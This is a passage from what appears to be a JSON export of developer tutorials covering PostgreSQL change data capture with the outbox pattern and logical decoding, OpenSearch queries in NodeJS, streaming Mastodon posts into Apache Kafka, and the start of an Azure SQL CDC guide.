dress\",\"price\":65},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413976945,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[\\\"872416184\\\",\\\"872416336\\\"]\",\"schema\":\"public\",\"table\":\"products\",\"txId\":2185,\"lsn\":872416336,\"xmin\":null},\"op\":\"u\",\"ts_ms\":1733413977590,\"transaction\":null}\n```\n\nThe question now is: How can we keep the order consistent with reality, where `Franco` purchased the `white-golden dress` for $50? \n\nAs mentioned before, the Debezium format stores lots of metadata in addition to the change data. We could make use of the transaction's metadata (`txId`, `lsn` and `ts_ms` for example) and additional tools like [Aiven for Apache Flink®](https://aiven.io/flink) to recreate a consistent view of the transaction via stream processing. That solution requires additional tooling that might not be in scope for us, however.\n\n## Use the outbox pattern in PostgreSQL\n\nAn alternative solution that doesn't require additional tooling is to propagate a consistent view of the data using an **outbox pattern** built in PostgreSQL. With the outbox pattern we store, alongside the original set of tables, an additional table which consolidates the information. With this pattern we can update both the original table and the outbox one within a transaction. \n\n![Architectural diagram showcasing the outbox table](https://cdn.sanity.io/images/sczeoy4w/production/9cddfa1c51f677cb2e3b39b87096a8fa79377d75-6160x3160.png)\n\n### Add a new outbox table in PostgreSQL\n\nHow do we implement the outbox pattern in PostgreSQL? The first option is to add a new dedicated table and update it within the same transaction changing the `ORDERS` and `ORDER_LINES` tables. We can define the outbox table as follows: \n\n```sql\nCREATE TABLE ORDER_OUTBOX (\n    ORDER_LINE_ID INT,\n    ORDER_ID INT,\n    USERNAME TEXT,\n    PRODUCT_NAME TEXT,\n    PRODUCT_PRICE INT,\n    QUANTITY INT\n);\n```\n\nWe can then add the `ORDER_OUTBOX` table in the `table.include.list` parameter for the Debezium Connector to track its changes. The last part of the equation is to update the outbox table at every order: if `Giuseppina` wants 5 `red t-shirts`, the transaction will need to change the `ORDERS`, `ORDER_LINES` and `ORDER_OUTBOX` tables like the following:\n\n```sql\nBEGIN;\n    INSERT INTO ORDERS (ID, SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n        (5, 'Lincoln Street', '05/08/2023',2);\n    INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n        (5,1,5);\n    INSERT INTO ORDER_OUTBOX \n    SELECT ORDER_LINES.ID, \n        ORDERS.ID, \n        USERNAME, \n        NAME PRODUCT_NAME, \n        PRICE PRODUCT_PRICE, \n        QTY QUANTITY\n        FROM USERS \n        JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n        JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n        JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\n    WHERE ORDERS.ID=5;\nEND;\n```\n\nWith this transaction and the Debezium configuration change to include the `public.order_outbox` table in the CDC, we end up with a new topic called `mydebprefix.public.order_outbox`. It has the following data, which represents the consistent situation in PostgreSQL:\n\n```json\n{\"before\":null,\"after\":{\"order_line_id\":10,\"order_id\":5,\"username\":\"Giuseppina\",\"product_name\":\"red t-shirt\",\"product_price\":5,\"quantity\":5},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733414963621,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[\\\"922748968\\\",\\\"922750584\\\"]\",\"schema\":\"public\",\"table\":\"order_outbox\",\"txId\":2297,\"lsn\":922750584,\"xmin\":null},\"op\":\"c\",\"ts_ms\":1733414964217,\"transaction\":null}\n```\n\nThis approach emits a new entry for every order line. We could also aggregate the outbox table at order level by, for example, adding the order lines information in a nested JSONB object.\n\n### Avoid the additional table with PostgreSQL logical decoding\n\nThe main problem with the outbox table approach is that we're storing the same information twice: once in the original tables and once in the outbox table. This doubles the storage needs, and the original applications that use the database generally not access it, making this an inefficient approach.\n\nA better, transactional approach, is to use [PostgreSQL logical decoding](https://www.postgresql.org/docs/current/logicaldecoding-explanation.html). Created originally for replication purposes, PostgreSQL logical decoding can also write [custom information](https://www.infoq.com/articles/wonders-of-postgres-logical-decoding-messages/) to the WAL log. Instead of re-storing the result of the joined data in another PostgreSQL table, we can emit the result as an entry to the WAL log. By doing it within a transaction, we can benefit from the transaction isolation therefore the entry in the log is committed only if the whole transaction is.\n\n![Architecture diagram with PostgreSQL logical decoding messages](https://cdn.sanity.io/images/sczeoy4w/production/9922b1d4cb90166f8e9fbc1202d4599f39cfe13a-6120x3280.png)\n\nTo use PostgreSQL logical decoding messages for our outbox pattern needs, we need to execute the following:\n\n```sql\nBEGIN;\nDO\n    $$\n    DECLARE\n        JSON_ORDER text;\n    begin\n        INSERT INTO ORDERS (ID, SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n            (6, 'Via Ugo 1', '05/08/2023',3);\n        INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n            (6,4,2),(6,3,3);\n\n        SELECT JSONB_BUILD_OBJECT(\n            'order_id', ORDERS.ID, \n            'order_lines', \n            JSONB_AGG(\n                JSONB_BUILD_OBJECT(\n                    'order_line', ORDER_LINES.ID, \n                    'username', USERNAME, \n                    'product_name', NAME, \n                    'product_price',PRICE, \n                    'quantity', QTY))) INTO JSON_ORDER\n            FROM USERS \n            JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n            JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n            JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\n        WHERE ORDERS.ID=6\n        GROUP BY ORDERS.ID;\n\n        SELECT * FROM pg_logical_emit_message(true,'myprefix',JSON_ORDER) into JSON_ORDER;\n    END;\n    $$;\nEND;\n```\n\nIn the above:\n\n* First we have two lines to insert the new order into the original tables\n\n   ```sql\n   INSERT INTO ORDERS (ID, SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n       (6, 'Via Ugo 1', '05/08/2023',3);\n   INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n       (6,4,2),(6,3,3);\n   ```\n\n* Next, we use `SELECT` and `JSONB_BUILD_OBJECT` to:\n   - get the new order details from the source tables\n   - create a unique JSON document (stored in the `JSON_ORDER` variable) for the entire order and store the results in an array for each line of the order\n\n* Finally, we need a `SELECT` statement to emit that `JSON_ORDER` variable as a logical message to the WAL file:\n\n   ```sql\n   SELECT * FROM\n      pg_logical_emit_message(true,'myprefix',JSON_ORDER) into JSON_ORDER;\n   ```\n\n   `pg_logical_emit_message` has three arguments. The first, `true`, defines    this operation as a part of a transaction. `myprefix` defines the message prefix, and `JSON_ORDER` is the content of the message.\n\n* The emitted JSON document should look similar to: \n\n   ```json\n    {\"order_id\": 6, \"order_lines\": [{\"quantity\": 2, \"username\": \"Wiltord\", \"order_line\": 19, \"product_name\": \"blue-black dress\", \"product_price\": 65}, {\"quantity\": 3, \"username\": \"Wiltord\", \"order_line\": 20, \"product_name\": \"blue t-shirt\", \"product_price\": 15}]}\n   ```\n\nIf the above transaction is successful, we should see a new topic named `mydebprefix.message` that contains the logical message that we just pushed, the form should be the following:\n\n```json\n{\"op\":\"m\",\"ts_ms\":1690804437953,\"source\":{\"version\":\"1.9.7.aiven\",\"connector\":\"postgresql\",\"name\":\"mydebmsg\",\"ts_ms\":1690804437778,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[\\\"822085608\\\",\\\"822089728\\\"]\",\"schema\":\"\",\"table\":\"\",\"txId\":8651,\"lsn\":822089728,\"xmin\":null},\"message\":{\"prefix\":\"myprefix\",\"content\":\"eyJvcmRlcl9pZCI6IDYsICJvcmRlcl9saW5lcyI6IFt7InF1YW50aXR5IjogMiwgInVzZXJuYW1lIjogIldpbHRvcmQiLCAib3JkZXJfbGluZSI6IDI1LCAicHJvZHVjdF9uYW1lIjogImJsdWUtYmxhY2sgZHJlc3MiLCAicHJvZHVjdF9wcmljZSI6IDY1fSwgeyJxdWFudGl0eSI6IDMsICJ1c2VybmFtZSI6ICJXaWx0b3JkIiwgIm9yZGVyX2xpbmUiOiAyNiwgInByb2R1Y3RfbmFtZSI6ICJibHVlIHQtc2hpcnQiLCAicHJvZHVjdF9wcmljZSI6IDE1fV19\"}}\n```\n\nWhere:\n\n* `\"op\":\"m\"` defines that the event is a logical decoding message\n* `\"prefix\":\"myprefix\"` is the prefix we defined in the `pg_logical_emit_message` call\n* `content` contains the JSON document with the order details encoded based on the `binary.handling.mode` defined in the connector definition.\n\nIf we use a mix of kcat and jq to showcase the data included in the `message.content` part of the payload with:\n\n```curl\nkcat -b KAFKA_HOST:KAFKA_PORT               \\\n    -X security.protocol=SSL                \\\n    -X ssl.ca.location=ca.pem               \\\n    -X ssl.key.location=service.key         \\\n    -X ssl.certificate.location=service.crt \\\n    -C -t mydebprefix.message -u | jq -r '.message.content | @base64d'\n```\n\nWe see the message in JSON format as:\n\n```json\n{\"order_id\": 6, \"order_lines\": [{\"quantity\": 2, \"username\": \"Wiltord\", \"order_line\": 11, \"product_name\": \"blue-black dress\", \"product_price\": 65}, {\"quantity\": 3, \"username\": \"Wiltord\", \"order_line\": 12, \"product_name\": \"blue t-shirt\", \"product_price\": 15}]}\n```\n\n## Conclusion\n\nDefining a change data capture system allows downstream technologies to make use of the information assets is useful only if we can provide a consistent view on top of the data. The outbox pattern allows us to join data spanning different tables and provide a consistent, up to date view of complex queries. \n\nPostgreSQL's logical decoding enables us to push such consistent view to Apache Kafka without having to write changes into an extra outbox table but rather by writing directly to the WAL log. \n\n## Further reading\n\n* [PostgreSQL Logical Decoding](https://www.postgresql.org/docs/current/logicaldecoding-explanation.html)\n* [PostgreSQL Logical Decoding use cases](https://www.infoq.com/articles/wonders-of-postgres-logical-decoding-messages/)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-10-17T11:49:19.168Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"c4ae7beec9b3","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-10-31T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text on a blue background that reads: \"Consistent Change Data Capture across multiple tables with PostgreSQL® logical decoding, the outbox pattern and Debezium\". Aiven's logo is in the bottom left.","asset":{"_ref":"image-76fd50aa226e6df4b32105c7146f8c98401f9d23-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/cdc-multiple-postgresql-tables-logical-decoding"},"subtitle":"Follow along to implement the outbox pattern in PostgreSQL® and create a change data capture workflow that doesn't create duplicate data!","tags":[{"_key":"b2cb44db155a","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"fb73f51c7308","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"141e961a4bc6","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Consistent Change Data Capture across multiple tables with PostgreSQL® logical decoding, the outbox pattern and Debezium"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:29:02Z","_id":"73af0182-b983-4449-bc09-f160188e2f39","_rev":"3WjOeGHmodg5gDKvjT7isG","_type":"devArticle","_updatedAt":"2024-03-18T10:52:10Z","body":"OpenSearch is here to add a fully open source search engine to your application, and its NodeJS client is a quick way to start with it.\nTime to take those two for a spin!\n\nAnd what is a better dataset example than the one full of gourmet meals and cooking instructions? We'll be using a dataset from Epicurious with over 20,000 different recipes to search and aggregate the data. We'll look for most unexpected food combinations, find the least frequent items, create a date histogram, calculate moving average and do so many other things. We'll probably leave you very hungry, but also inspired!\n\nStarting with the basics of creating an OpenSearch cluster, we'll bring you step by step through a process of setting up your playground before we jump into writing search and aggregation queries.\n\n::banner[Join the online workshop where we follow this tutorial. Learn how OpenSearch works and get equipped with practical knowledge to search, aggregate and visualise your data.]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/workshop/opensearch-with-javascript\" title=\"Workshop: Search and aggregations made easy with OpenSearch and NodeJS\" background=\"\" theme=\"dark\"}\n\n## Try different flavours of search queries\n\nAt the heart of OpenSearch lies a power to create flexible search queries for three main groups of requests: term-level, full-text and boolean. Term-level queries are handy when we need to find exact matches without additional analysis. Full-text queries allow a smarter search for matches in analysed text fields in order to return results sorted by relevance. And last, but not  least, boolean queries are useful when combining multiple queries together. \n\nFor example, if you want to find a soup with tomatoes, garlic and dill, ``match`` function is handy:\n\n```javascript\n    /**\n     * Finding matches sorted by relevance.\n     * run-func search match title 'Tomato-garlic soup with dill'\n     */\n    module.exports.match = (field, query) =\u003e {\n      console.log(`Searching for ${query} in the field ${field}`);\n      const body = {\n        query: {\n          match: {\n            [field]: {\n              query,\n            },\n          },\n        },\n      };\n      client.search(\n        {\n          index: indexName,\n          body,\n        },\n        logTitles\n      );\n    };\n\n```\n\nOr, maybe you want to take into account spelling mistakes which your users can accidentally make, then the ``fuzziness`` property is helpful:\n\n```javascript\n/**\n * Specifying fuzziness to account for typos and misspelling.\n * run-func search fuzzy title pinapple 2\n */\nmodule.exports.fuzzy = (field, value, fuzziness) =\u003e {\n  console.log(\n    `Search for ${value} in the ${field} with fuzziness set to ${fuzziness}`\n  );\n  const query = {\n    query: {\n      fuzzy: {\n        [field]: {\n          value,\n          fuzziness,\n        },\n      },\n    },\n  };\n  client.search(\n    {\n      index: indexName,\n      body: query,\n    },\n    logTitles\n  );\n};\n```\n\nIf we've intrigued you, find other examples of search queries for matching values, ranges, fuzzy phrases, combination of clauses and more in our article [How to write search queries with OpenSearch and NodeJS](https://aiven.io/docs/products/opensearch/howto/opensearch-and-nodejs).\n\n## Learn how to aggregate data\n\nIf you're familiar with search queries, then you're ready to embark on your next adventure and learn how to run aggregation requests and read the results. In particular, we'll look at three different aggregation types: metric, bucket and pipeline. \n\nMetric aggregation are helpful for such computations as finding minimum or maximum value, calculating an average or collecting statistics about field values. For example, this is how we can use metric aggregations to calculate percentile ranges:\n\n\n```javascript\n/**\n * Get metric aggregations for the field\n * Examples: avg, min, max, stats, extended_stats, percentiles, terms\n * run-func aggregate metric percentiles calories\n */\nmodule.exports.metric = (metric, field) =\u003e {\n  const body = {\n    aggs: {\n      [`aggs-for-${field}`]: { // aggregation name, which you choose\n        [metric]: { // one of the supported aggregation types\n          field,\n        },\n      },\n    },\n  };\n  client.search(\n    {\n      index,\n      body,\n      size: 0, // ignore `hits`\n    },\n    logAggs.bind(this, `aggs-for-${field}`) // callback to log the aggregation output\n  );\n};\n```\n\nCan you guess how calories level ranges over our recipes? Follow the article and run ``run-func aggregate metric percentiles calories`` to see it. Spoiler alert - **Chocolate Plum Cake** is one of the most caloric dishes available (and perhaps one of the most delicious too!).\n\nEven though metric aggregations are great, we have another type of aggregation we can use: the bucket aggregation. It distributes documents over a set of buckets based on provided criteria. Bucket aggregations can be used for a variety of things, for example, we can use it to find the most rare items in our dataset, such as the least frequently used categories:\n\n```javascript\n/**\n * Group recipes into buckets to find the most rare items\n * `run-func aggregate rareTerms categories.keyword 3`\n */\nmodule.exports.rareTerms = (field, max) =\u003e {\n  const body = {\n    aggs: {\n      [`rare-terms-aggs-for-${field}`]: {\n        rare_terms: {\n          field,\n          max_doc_count: max, // get buckets that contain no more than max items\n        },\n      },\n    },\n  };\n  client.search(\n    {\n      index,\n      body,\n      size: 0,\n    },\n    logAggs.bind(this, `rare-terms-aggs-for-${field}`)\n  );\n};\n```\n\nIf you run the query you'll see some definitely unexpected results!\n\nAnd finally, the pipeline aggregations combine several aggregations to build more complex flows and calculate things like moving averages, cumulative sums and perform a variety of other mathematical calculations over the data in the documents. In particular we'll look at how to calculate a moving average of number of recipes added throughout the years.\n\nYou can find all these examples and many others in our article [Use Aggregations with OpenSearch and NodeJS](https://aiven.io/docs/products/opensearch/howto/opensearch-aggregations-and-nodejs).\n\n## Examples and other resources\n\n- Find the examples for search and aggregation queries mentioned in our articles in [the GitHub repository](https://github.com/Aiven-Labs/demo-open-search-node-js) \n- Continue to the tutorial to [learn how to query data](https://aiven.io/docs/products/opensearch/howto/opensearch-and-nodejs) \n- Continue to the tutorial to [learn how to write aggregation requests](https://aiven.io/docs/products/opensearch/howto/opensearch-aggregations-and-nodejs)\n- Check out our article where you can [learn how to use OpenSearch® to perform searches on semi-structured recipe data](https://aiven.io/developer/opensearch-dinner-party)\n- Check our other documentation resources for [Aiven for OpenSearch](https://aiven.io/docs/products/opensearch)\n\nAnd, finally, [sign up for a free trial](https://console.aiven.io/signup) to start using [Aiven for OpenSearch](https://aiven.io/opensearch) and follow us on [Twitter](https://twitter.com/aiven_io) to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:28:58.224Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"43512ea60e81","_ref":"8fe00684-fc9b-413d-9f61-98889297feec","_type":"tag"}],"publishedAt":"2021-12-21T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Great search and aggregation features can make a big difference to your application. Read on to see how to use OpenSearch with your NodeJS.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-908467f7378d277d4de79a6d45573b78a10f8002-1567x844-png","_type":"reference"}},"metaTitle":"Start using OpenSearch® with NodeJS"},"slug":{"_type":"slug","current":"/developer/start-using-opensearch-with-nodejs"},"subtitle":"Great search and aggregation features can make a big difference to your application. Read on to see how to use OpenSearch® with your NodeJS.","tags":[{"_key":"2b882d3965e1","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"e0e9a56aba94","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"08c634c2470c","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Start using OpenSearch® with NodeJS"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T14:25:45Z","_id":"ffea7160-7674-43c1-83d8-8e04fe7e1672","_rev":"ZLvKaZvfbZlWBlGcpIqI1k","_type":"devArticle","_updatedAt":"2024-01-29T15:49:07Z","body":"[Mastodon](https://joinmastodon.org/) has been rising in popularity over recent months. If you're not yet familiar with this exotic online creature, Mastodon is an open-source social networking software for microblogging. Instead of being a single network, like Twitter, Mastodon is a federated platform that connects independent interconnected servers. This makes it a fully decentralised system. It relies on ActivityPub and uses the ActivityStreams 2.0 data format and JSON-LD. As for the functionality, it resembles closely Twitter - you can read the timeline, post messages and interact with other users. \n\nIf you just recently joined Mastodon and are still exploring it, you might find that the scrolling timeline has its limits to understand all that is happening there. Applying some engineering skills will give a better overview on the topics and discussions happening on the platform.\n\nSince Mastodon's timeline is nothing more than a collection of continuously coming events, the data feed is well-suited for Apache Kafka®. Adding Kafka connectors on top of that opens multiple possibilities to use data for aggregations and visualisations.\n\nContinue reading to learn how to bring data from Mastodon to Kafka using TypeScript and a couple of helpful libraries. \n\n\n## Prepare the Apache Kafka cluster\n\nTo bring the data from the Mastodon timeline to a topic in Apache Kafka, you'll need an Apache Kafka cluster and some code to stream the data there. For the former, you can use either your own cluster, or a managed version that runs in the cloud, such as [Aiven for Apache Kafka](https://aiven.io/kafka). If you don't have an Aiven account yet, [sign up for a free trial](https://console.aiven.io/signup/email) and [create your cluster](https://aiven.io/docs/products/kafka/getting-started.html), the setup only takes a few minutes.\n\nOnce your cluster is running, [add a topic](https://aiven.io/docs/products/kafka/howto/create-topic.html) with the name ``mastodon``. Alternatively, you can use any other name, just remember it, you'll need it a bit later.\n\nTo connect securely to the cluster we'll use SSL. Aiven already takes care of the configuration of the server, but you'll need to download three files for the client to establish the connection. Download these files from Aiven's console:\n\n![Screenshot of the Aiven for Apache Kafka page in Aiven's console showing where to take certificates and keys](https://cdn.sanity.io/images/sczeoy4w/production/96801373561b2a0c207b70d7ce2b0979fbedc896-1598x1170.png)\n\nYou will need these files later, so put them somewhere safe for now.\n\n## Working with the Mastodon API\n\nThe Mastodon API has excellent documentation that makes it straightforward to access the public data feeds. You'll need to have an access token to read the data stream and you can generate it once you're registered. Actually, just give it a try right now. Register for a Mastodon account, get the token and run the line below in your terminal to start retrieving a stream of data from ``mastodon.social``:\n\n```bash\ncurl https://streaming.mastodon.social/api/v1/streaming/public?access_token=your-token\n```\n\nAs a response you should see an endless flow of incoming events:\n\n![Running ``curl https://mastodon.social/api/v1/streaming/public`` in your terminal shows a response with event data](https://cdn.sanity.io/images/sczeoy4w/production/1d68795439e0a481c05fa4612c030890c5d0a18a-1972x600.png)\n\nParsing the response from the server manually is a monotonous and tedious operation. Rather than reinvent the wheel, you can use one of the [available libraries for Mastodon](https://docs.joinmastodon.org/client/libraries/). For this example we'll be using [masto.js](https://github.com/neet/masto.js).\n\n## Jump into the code\n\nTo give you an instant start to bring Mastodon data into an Apache Kafka cluster, clone [this repository](https://github.com/aiven/mastodon-to-kafka):\n\n```bash\ngit clone https://github.com/aiven/mastodon-to-kafka\n```\n\nOnce you have the contents of the repo locally, follow these steps:\n\n\n1. Create a folder `certificates/` and  add the SSL certificates you downloaded earlier into this folder. We will need these to connect securely to Apache Kafka.\n2. Copy the file `.env.example` and rename to `.env`, this file will hold the environment variables.\n3. Set ``kafka.uri`` in `.env` to the address of your cluster. You can take it from the connection information of your Aiven for Apache Kafka service.\n4. Set ``mastodon.token`` in `.env` to your own token that you get from your Mastodon account.\n5. Run `npm install` to install all dependencies (if you don't have npm or NodeJS yet, follow [the installation instructions](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)).\n\nFinally, start by running ``npm run start`` and you should see a flow of delivery reports for every new message coming from the Mastodon public feed, that is defined in the code (in the next section you'll see how to change it to whichever Mastodon feed you like!).\n\n![Screenshot showing running code to send data to the Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/72f8119518d00dbdf8be9fce68609ce08e22738c-2000x1531.png)\n\n\u003e If things don't work first time, check for error messages printed in the terminal. They will help you navigate the problem. \n\nYou can verify that the data is flowing and see what messages you get by enabling Apache Kafka Rest API.\n\nIn the contextual menu for the topic, select **Apache Kafka REST**:\n![Screenshot showing Apache Kafka REST menu option for a topic](https://cdn.sanity.io/images/sczeoy4w/production/7f21c0c7e40bd260a079270a084bfba028e20177-2000x642.png)\n\nWe can step back to see exactly how the code works to send the data from Mastodon to Apache Kafka. This can be divided into two logical steps:\n\n1. Streaming messages from a public Mastodon timeline.\n2. Sending these messages to Apache Kafka.\n\nIn the sections below you can see these steps in detail.\n\n## Streaming messages from a public Mastodon timeline\n\nOpen the file `mastostream.ts`. It contains a small module to stream the Mastodon data. \n\nTo initialise the Mastodon client you need to call ``login()`` from the `masto.js` client library and provide the required configuration.  As URL, [use your favourite Mastodon server](https://joinmastodon.org/servers). This is also the place to provide authentication information.\n\n```typescript\nconst masto = await login({\n    url: 'https://mastodon.social/', // choose your favourite mastodon server\n    accessToken: process.env[\"mastodon.token\"]\n});\n```\n\nWith the initialised Mastodon client you connect to the public stream API by calling the asynchronous function ``masto.stream.streamPublicTimeline()``.\n\n```typescript\nconst stream = await masto.stream.streamPublicTimeline();\n```\n\nFinally, you're ready to subscribe to the updates from the public stream provided by the API.\n\n```typescript\nstream.on('update', (status) =\u003e {\n    console.log(status)\n    // next - send status data to Apache Kafka topic\n});\n```\n\nNow time to put these building blocks together.\n\nFor the sake of encapsulation, you wouldn't want the ``mastostream`` module to know directly about the Apache Kafka producer. That's why when putting all the above ingredients together we provide the module ``mastostream`` with a more generic callback argument.\nThis callback function will return the Mastodon status message converted to a string, and the party that triggered the ``mastostream`` will receive the data and be able to act on it:\n\n```typescript\nexport default async (callback: (status: string) =\u003e void) =\u003e {\n    try {\n        const masto = await login({\n            url: 'https://mastodon.social/',\n            accessToken: process.env[\"mastodon.token\"]\n        });\n\n        // Connect to the streaming api\n        const stream = await masto.stream.streamPublicTimeline();\n\n        // Subscribe to updates\n        stream.on('update', (status) =\u003e {\n            try {\n                callback(JSON.stringify(status));\n            } catch (err) {\n                console.log('Callback failed', err);\n            }\n        });\n    } catch (err) {\n        console.log(err)\n    }\n};\n```\n\nThis is what you need to stream the data from Mastadon! Time to send these messages to an Apache Kafka topic.\n\n## Sending messages to Apache Kafka using `node-rdkafka`\n\nOpen `producer.ts` to see the code you need to send the data to an Apache Kafka topic. To work with Apache Kafka you can use one of the existing client libraries, there are several options available. This project uses `node-rdkafka`, which is a NodeJS wrapper for the Kafka C/C++ library. Check [its GitHub repository Readme](https://github.com/Blizzard/node-rdkafka) for installation steps.\n\nWith `node-rdkafka` you can create a producer to send data to the cluster. This is where you'll use the Apache Kafka configuration settings defined in `.env` earlier and the certificates that you downloaded to prepare to establish a secure connection. \n\n```typescript\n\n//create a producer\nconst producer = new Kafka.Producer({\n    'metadata.broker.list': process.env[\"kafka.uri\"],\n    'security.protocol': 'ssl',\n    'ssl.key.location': process.env[\"ssl.key.location\"],\n    'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n    'ssl.ca.location': process.env[\"ssl.ca.location\"],\n    'dr_cb': true\n});\n```\n\nThe producer will emit events when things happen, so to understand what is happening and to catch any errors, we subscribe to numerous events including delivery reports.\n\n```typescript\n\nproducer.on('event.log', function (log) {\n    console.log(log);\n});\n\n//logging all errors\nproducer.on('event.error', function (err) {\n    console.error(err);\n});\n\nproducer.on('connection.failure', function (err) {\n    console.error(err);\n});\n\nproducer.on('delivery-report', function (err, report) {\n    console.log('Message was delivered' + JSON.stringify(report));\n});\n\nproducer.on('disconnected', function (arg) {\n    console.log('producer disconnected. ' + JSON.stringify(arg));\n});\n```\n\nOne last event, which is especially important to use, is called `on ready`. This is the moment where the producer is ready to dispatch a message to the topic. This method will rely on the callback provided by the ``mastostream`` module that we implemented in the previous section:\n\n```typescript\nproducer.on('ready', async () =\u003e {\n    mastostream((status) =\u003e { \n        producer.produce(\n            'mastodon',  // topic to send the message to\n            null,  // partition, null for librdkafka default partitioner\n            Buffer.from(status),  // value\n            null,  // optional key\n            Date.now()  // optional timestamp\n        );\n        producer.flush(2000);\n    }).catch((error) =\u003e {\n        throw error;\n    });\n});\n```\n\nYet, none of the above will work till you run the ``connect()`` method. With the snippet below, run your code and watch the data start to flow!\n\n```typescript\nproducer.connect({}, (err) =\u003e {\n    if (err) {\n        console.error(err);\n    }\n});\n```\nThis method has an optional second parameter, which is a callback that you can use to be informed about any errors during the connection.\n\nWe've now seen all the code and examined how it all works together. By separating the concerns of collecting data from Mastodon, and passing it to Apache Kafka, we have a system that can also be adapted to handle different data sources as needed.\n\n## What's next\n\nWith the data being constantly collected in the topic you can now use it as an input for other tools and databases, such as OpenSearch®, ClickHouse® and PostgreSQL®. Apache Kafka® Connect connectors will help you bring the data into other systems with no code required. Learn more about [Apache Kafka and Kafka Connect](https://aiven.io/blog/what-is-apache-kafka#apache-kafka-connect) and check the full list of [sink connectors](https://aiven.io/docs/products/kafka/kafka-connect.html#sink-connectors) that are available in Aiven platform to see where you can bring the data for further storage and analysis.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T13:25:41.323Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"ac378c80efe9","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-01-17T09:40:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-459c33298185f859bf504c1a167d126edff6d265-1567x844-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/mastodon-kafka-js"},"subtitle":"If you want to analyze Mastodon posts, getting them into Apache Kafka® is a sensible first step. Read on to find out how to do this with Typescript and NodeJS.","tags":[{"_key":"c487603b1e03","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"0a69ca564dfa","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Stream Mastodon data to Apache Kafka® using NodeJS and TypeScript"}
{"__i18n_lang":"en","_createdAt":"2023-12-04T09:50:39Z","_id":"deb97690-3922-4faf-aecf-a09dc1853092","_rev":"VeNKqGNmt13PzvGhqsSudg","_type":"devArticle","_updatedAt":"2024-01-29T15:48:52Z","body":"[Azure SQL](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql-vm) offers a SQL Server backend for applications on Microsoft Azure. This tutorial will showcase how to build a real-time change data capture process to track the changes happening in one (or more) Azure SQL tables and stream them into Apache Kafka®, where multiple consumers can receive the data with a minimal latency. \n\nWe'll use a single table containing book titles to demonstrate all the steps needed to setup the flow.\n\n## Create an Azure SQL instance\n\nThe first step in the journey is to create a SQL Server database in Azure SQL. To do this:\n\n* Navigate to the [Azure portal](https://portal.azure.com/)\n* Click on **Create new SQL Database**\n  ![Azure all services view selecting SQL database](https://cdn.sanity.io/images/sczeoy4w/production/2955cb7bddd7ed9f3a9e2a93c4f197a45c8e7b10-1892x827.png)\n* Give the database a name\n* Create a new server, enable **SQL authentication** and define an admin login and password\n\n![SQL Authentication method connectivity method](https://cdn.sanity.io/images/sczeoy4w/production/e29065a9fa5c12af2310c37c1bfa354a6942501e-724x886.png)\n\n* In the **Networking** tab, select the **Public endpoint** as the *Connectivity method*\n\n\n* Click on **Create** to create the database\n\n![Database up and running](https://cdn.sanity.io/images/sczeoy4w/production/9036e602d6171abe572a129cce2532d4375462f5-1131x448.png)\n\nTo connect Apache Kafka the Azure SQL database you just created, you need to allow traffic from a [virtual network](https://aiven.io/docs/tools/terraform/howto/vnet-peering-azure) from specific IPs by adding Firewall rules. To do this:\n\n* Click on the main database server\n* Select the **Security 